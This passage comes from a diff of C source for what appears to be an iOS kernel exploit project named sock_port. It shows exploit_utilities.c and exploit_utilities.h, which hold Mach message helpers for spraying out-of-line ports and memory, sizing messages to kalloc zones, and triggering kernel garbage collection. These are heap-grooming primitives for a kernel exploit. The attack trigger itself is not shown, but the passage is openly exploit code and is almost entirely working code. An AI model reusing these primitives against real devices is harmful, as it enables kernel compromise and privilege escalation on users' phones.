    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
    printf("[-] failed to increase queue limit\n");
    mach_port_destroy(mach_task_self(), port);
    return MACH_PORT_NULL;
    }

    return port;
    }

    kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);

    memset(msg, 0, sizeof(struct simple_msg));

    msg->hdr.msgh_remote_port = destination;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = msg_size;
    msg->hdr.msgh_id = 0x41414141;

    memcpy(&msg->buf[0], buffer, size);

    kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
    printf("[-] failed to send message\n");
    mach_port_destroy(mach_task_self(), destination);
    free(msg);
    return ret;
    }
    free(msg);
    return KERN_SUCCESS;
    }

    struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    memset(msg, 0, sizeof(struct simple_msg));

    kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
    printf("[-] failed to receive message: 0x%x (%s)\n", ret, mach_error_string(ret));
    return NULL;
    }

    return msg;
    }

    int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition) {
    kern_return_t ret;

    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
    ports[i] = target_port;
    }

    struct ool_ports_msg* msg = (struct ool_ports_msg*)calloc(1, sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount);

    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_ports_msg) + sizeof(mach_msg_ool_ports_descriptor_t) * dcount);
    msg->hdr.msgh_remote_port = where;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;

    msg->body.msgh_descriptor_count = dcount;

    for (int i = 0; i < dcount; i++) {
    msg->ool_ports[i].address = ports;
    msg->ool_ports[i].count = count;
    msg->ool_ports[i].deallocate = 0;
    msg->ool_ports[i].disposition = disposition;
    msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
    }

    ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    free(msg);
    free(ports);

    if (ret) {
    printf("[-] Failed to send OOL ports: 0x%x (%s)\n", ret, mach_error_string(ret));
    return KERN_FAILURE;
    }

    return 0;
    }

    int send_ool_message(mach_port_t where, void *buf, mach_msg_size_t size, int dcount) {
    kern_return_t ret;

    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount);

    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)(sizeof(struct ool_msg) + sizeof(mach_msg_ool_descriptor_t) * dcount);
    msg->hdr.msgh_remote_port = where;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;

    msg->body.msgh_descriptor_count = dcount;

    for (int i = 0; i < dcount; i++) {
    msg->ool_messages[i].address = buf;
    msg->ool_messages[i].size = size;
    msg->ool_messages[i].deallocate = 0;
    msg->ool_messages[i].type = MACH_MSG_OOL_DESCRIPTOR;
    msg->ool_messages[i].copy = MACH_MSG_VIRTUAL_COPY;
    }

    ret = mach_msg(&msg->hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, msg->hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    free(msg);

    if (ret) {
    printf("[-] Failed to send OOL message: 0x%x (%s)\n", ret, mach_error_string(ret));
    return KERN_FAILURE;
    }

    return 0;


    return ret;
    }

    #define USER_HEADER_SIZE_DELTA 8
    mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size) {
    return (kalloc_size - MAX_TRAILER_SIZE - USER_HEADER_SIZE_DELTA - sizeof(struct simple_msg));
    //return ((3 * kalloc_size) / 4) - 0x74;
    }

    void trigger_gc() {
    const int gc_ports_cnt = 1000;
    int gc_ports_max = gc_ports_cnt;
    mach_port_t gc_ports[gc_ports_cnt] = { 0 };

    uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(struct simple_msg); // 1024
    uint8_t *body = (uint8_t*)malloc(body_size);
    memset(body, 0x41, body_size);

    for (int i = 0; i < gc_ports_cnt; i++) {
    uint64_t t0, t1;

    t0 = 0;// mach_absolute_time();

    gc_ports[i] = new_mach_port();
    send_message(gc_ports[i], body, body_size);

    t1 = 0; //mach_absolute_time();

    if (t1 - t0 > 1000000) {
    printf("[+] got gc at %d -- breaking\n", i);
    gc_ports_max = i;
    break;
    }
    }

    for (int i = 0; i < gc_ports_max; i++) {
    mach_port_destroy(mach_task_self(), gc_ports[i]);
    }

    sched_yield();
    sleep(1);
    }

    void hexdump(const void* data, size_t size) {
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
    printf("%02X ", ((unsigned char*)data)[i]);
    if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
    ascii[i % 16] = ((unsigned char*)data)[i];
    } else {
    ascii[i % 16] = '.';
    }
    if ((i+1) % 8 == 0 || i+1 == size) {
    printf(" ");
    if ((i+1) % 16 == 0) {
    printf("| %s \n", ascii);
    } else if (i+1 == size) {
    ascii[(i+1) % 16] = '\0';
    if ((i+1) % 16 <= 8) {
    printf(" ");
    }
    for (j = (i+1) % 16; j < 16; ++j) {
    printf(" ");
    }
    printf("| %s \n", ascii);
    }
    }
    }
    }

    void increase_file_limit() {
    struct rlimit rl = {};
    getrlimit(RLIMIT_NOFILE, &rl);
    rl.rlim_cur = 10240;
    rl.rlim_max = rl.rlim_cur;
    setrlimit(RLIMIT_NOFILE, &rl);
    }

    void set_nonblock(int fd) {
    int flags = fcntl(fd, F_GETFL);
    flags |= O_NONBLOCK;
    fcntl(fd, F_SETFL, flags);
    }

    80 changes: 80 additions & 0 deletions exploit_utilities.h
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,80 @@
    //
    // exploit_utilities.h
    // sock_port
    //
    // Created by Jake James on 7/17/19.
    // Copyright © 2019 Jake James. All rights reserved.
    //

    #ifndef exploit_utilities_h
    #define exploit_utilities_h

    #import <stdio.h>
    #import <unistd.h>
    #import <stdlib.h>
    #import <errno.h>
    #import <mach/mach.h>
    #import <sched.h>
    //import <IOKit/IOKitLib.h>
    #import <sys/utsname.h>
    #import <fcntl.h>

    //#import "IOSurface_stuff.h"

    struct ool_msg {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool_messages[];
    };

    struct ool_ports_msg {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports[];
    };

    struct simple_msg {
    mach_msg_header_t hdr;
    char buf[0];
    };

    typedef struct {
    mach_msg_bits_t msgh_bits;
    mach_msg_size_t msgh_size;
    uint64_t msgh_remote_port;
    uint64_t msgh_local_port;
    mach_port_name_t msgh_voucher_port;
    mach_msg_id_t msgh_id;
    } kern_mach_msg_header_t;

    struct ool_kmsg {
    kern_mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_descriptor_t ool_messages[];
    };

    struct ool_ports_kmsg {
    kern_mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports[];
    };

    struct simple_kmsg {
    kern_mach_msg_header_t hdr;
    char buf[0];
    };

    mach_port_t new_mach_port(void);
    kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size);
    struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size);
    int send_ool_ports(mach_port_t where, mach_port_t target_port, int count, int dcount, int disposition);
    int send_ool_message(mach_port_t where, void *msg, mach_msg_size_t size, int dcount);

    mach_msg_size_t message_size_for_kalloc_size(mach_msg_size_t kalloc_size);
    void trigger_gc(void);

    void hexdump(const void* data, size_t size);
    void increase_file_limit(void);
    void set_nonblock(int fd);

    #endif /* exploit_utilities_h */